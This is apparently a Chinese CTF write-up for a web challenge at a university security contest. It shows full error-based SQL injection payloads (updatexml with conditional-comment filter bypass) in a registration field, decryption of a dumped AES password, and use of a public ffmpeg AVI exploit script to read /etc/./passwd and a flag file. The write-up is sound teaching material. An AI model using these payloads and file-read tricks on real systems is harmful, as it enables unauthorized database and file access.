[第十屆全國大學生信息安全競賽](web)方舟計劃


上古時代,大洪水降世,毀天滅地。唯有諾亞得到神啟,將地球上所有動物各帶一對躲入方舟,延續了人類文明的火種。活在現代世界的你,沒想到有一天自己也要承擔起這樣拯救世界的責任。
騰訊安全平臺部得到情報,一個黑暗勢力正在秘密研制足以毀滅世界的武器,為了掩人耳目,研究的核心文件被放在一個看上去平平無奇的網站上。騰訊方舟計劃號召各路英雄,去獲取項目的核心文件,守護人類文明拯救世界,而你正是其中一員……

http://123.59.71.217

備用 http://120.132.54.253


image.png

經過嘗試發現 , 在注冊的時候 , phone 這個參數之后添加單引號會引發報錯


image.png
Error:You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version
for the right syntax to use near ''1'')' at line 1
image.png
image.png

猜測注冊的SQL如下 :

$sql = "insert into users (username, password, phone) values ('$username', '$password', '$phone')";

這里嘗試利用報錯注入 :

image.png

然后經過嘗試發現 , 這里應該是過濾了 from 這個關鍵字
通過大小寫混寫也無法繞過
經過大佬提醒嘗試使用mysql的條件注釋

username=1&
phone=1'|updatexml(1,concat(0x7e,(
select group_concat(schema_name)/*!00000from*/ information_schema.schemata limit 0,1
),0x7e),1))--+&
password=1&
repassword=1
image.png
username=1&
phone=1'|updatexml(1,concat(
  0x7e,(
    select group_concat(table_name)/*!00000from*/ information_schema.tables 
      where table_schema='note' limit 0,1
  ),0x7e)
,1))--+&
password=1&
repassword=1
image.png
image.png
image.png
image.png
Error:XPATH syntax error: '~BjDjgKE8CEk5hA9z9FDH7otvGntinom'
image.png
Error:XPATH syntax error: '~DjgKE8CEk5hA9z9FDH7otvGntinomp~'

因此 secrectkey 應該是

BjDjgKE8CEk5hA9z9FDH7otvGntinomp

然后看看 user 表

image.png

這樣選擇會有問題 , 具體可以參考 :

可以為其取一個別名就可以正常 select 出數據

image.png
Error:XPATH syntax error: '~1|fangzh0u|mIiD2wpTUTnWDzJO6d32'
image.png
Error:XPATH syntax error: '~|mIiD2wpTUTnWDzJO6d329w==|~'

我們的目標是 :

id : 1
name : fangzh0u
password : mIiD2wpTUTnWDzJO6d329w==

密碼明顯被加密過 , 根據之前獲取到的 secrectkey 可以推斷出
這個 secrectkey 可能就是用來加密明文密碼的密匙

我們來注冊一個用戶測試一下
這里注冊了一個用戶名 , 密碼都為 1 的用戶
然后通過注入來得到密碼的密文

image.png
Error:XPATH syntax error: '~11612|1|9j9Rf1QtQMjIrjNef74UeQ='

隊友看出了這個應該是 AES 加密
測試如下 :

image.png
http://aes.online-domain-tools.com/
image.png
image.png
id : 1
name : fangzh0u
password : tencent123
image.png

上傳一個 avi 的視頻 , 服務器會將其轉換為 mp4 格式
根據文章 : http://www.freebuf.com/vuls/138377.html
下載利用腳本 , 嘗試讀取 /etc/passwd 文件

git clone https://github.com/neex/ffmpeg-avi-m3u-xbin.git

無法成功讀取 , 但是別的文件是可以正常讀取的

image.png

隊友猜想可能是過濾掉了 /etc/passwd 文件 , 嘗試直接讀取 php 文件 , 發現是可以正常讀取的
隊友提示用 /etc/./passwd 來代替 /etc/passwd 成功讀取到 passwd 文件
如下圖

python3 gen_xbin_avi.py file:///etc/./passwd etc_passwd.avi
image.png

發現存在用戶名 :

s0m3b0dy

猜測 flag 在該用戶的家目錄下
再次利用 freebuf 上的 python 腳本構造畸形 avi 文件

python3 gen_xbin_avi.py file:///home/s0m3b0dy/flag flag.avi

上傳 , 服務器處理后下載 mp4 文件即可成功讀取到 flag

image.png
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容